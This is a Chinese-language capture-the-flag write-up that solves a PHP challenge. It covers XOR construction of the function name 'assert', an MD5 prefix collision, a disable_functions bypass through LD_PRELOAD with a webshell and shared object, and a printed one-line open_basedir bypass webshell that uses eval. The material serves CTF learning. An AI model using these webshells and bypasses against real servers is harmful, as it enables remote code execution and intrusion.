极客挑战2021-breakout-wp

题目代码

1
2
3
4
5
6
7
8
<?php
highlight_file(__FILE__);
// 这些奇怪的符号是什么呢?字符串之间还能异或的吗?
$a = $_POST['v'] ^ '!-__)^';
// ctf常见的验证码哦!纯数字呢
if (substr(md5($_POST['auth']),0,6) == "666666") {
$a($_POST['code']);
}

代码分析

代码会将v!-__)^进行异或,所以我们需要构造出一个值,异或后为函数名
脚本如下

1
2
3
4
5
6
7
a="!-__)^"
b="assert" //需要的函数名
c=""

for i in a:
c+=chr(ord(b[len(c)])^ord(i))
print(c)

所以v的值就为@^,:[*

接下来是一个MD5的截断比较,找一个MD5后前6位为666666的值即可,例如oT7mgbJMTNyh9qWYQT2d

code就是要执行的内容了

现在将三部分连接在一起
成功执行phpinfo

绕过disable_function

有了phpinfo,肯定要看一下disable_functions
可以看到常用的system等基本都被禁用了

1
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,dl,exec,system,passthru,popen,proc_open,pcntl_exec,shell_exec,mail,imap_open,imap_mail,apache_setenv,symlink,link,error_log,iconv

那么我们就需要绕过disable_function
先用蚁剑连上,方便操作

绕过disable_function有很多种方法,但这里大都被禁用了,所以最后采用的是利用 LD_PRELOAD 环境变量来绕过
首先下载绕过代码
需要用到如下这4个文件

bypass_disablefunc.php:一个用来执行命令的 webshell。
bypass_disablefunc_x64.so或bypass_disablefunc_x86.so:执行命令的共享对象文件,分为64位的和32位的。
bypass_disablefunc.c:用来编译生成上面的共享对象文件。

对于bypass_disablefunc.php,如果有权限就上传到web目录直接访问,无权限的话可以传到tmp目录后用include等函数来包含,并且需要用 GET 方法提供三个参数:

cmd 参数:待执行的系统命令,如 id 命令。
outpath 参数:保存命令执行输出结果的文件路径(如 /tmp/xx),便于在页面上显示,另外该参数,你应注意 web 是否有读写权限、web 是否可跨目录访问、文件将被覆盖和删除等几点。
sopath 参数:指定劫持系统函数的共享对象的绝对路径(如 /var/www/bypass_disablefunc_x64.so),另外关于该参数,你应注意 web 是否可跨目录访问到它。

在回过头来看题目,/var/www/html目录是没有权限的,/tmp目录可读可写,所以将文件上传到/tmp目录下

在code中用文件包含调用bypass_disablefunc.php

然后GET传入三个参数

会发现无法执行

检查一下bypass_disablefunc.php中的代码

比较后发现mail("", "", "", "");中的mail被禁用了
可以使用mail的封装函数mb_send_mail来绕过

成功绕过

执行ls /后执行/readflag即可拿到flag

绕过open_basedir

看到这个环境还不错,顺手试了一下绕过open_basedir
因为是静态靶机,所以能看到其他师傅的马,直接包含,不用在上传了

1
<?php $a=mkdir('/tmp/test');chdir('/tmp/test');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/'));@eval($_POST[a]); echo 1;

哈哈哈哈,在线聊天室

蚁剑连接

可以看到根目录文件了

总结

这一题考点很多,并没有表面那么简单,学到很多新姿势

特别鸣谢:@Hel1antHu5师傅
参考文章:绕过Disable Functions来搞事情


极客挑战2021-breakout-wp
https://www.dr0n.top/posts/31724a07/
作者
dr0n
发布于
2021年11月2日
更新于
2024年3月22日
许可协议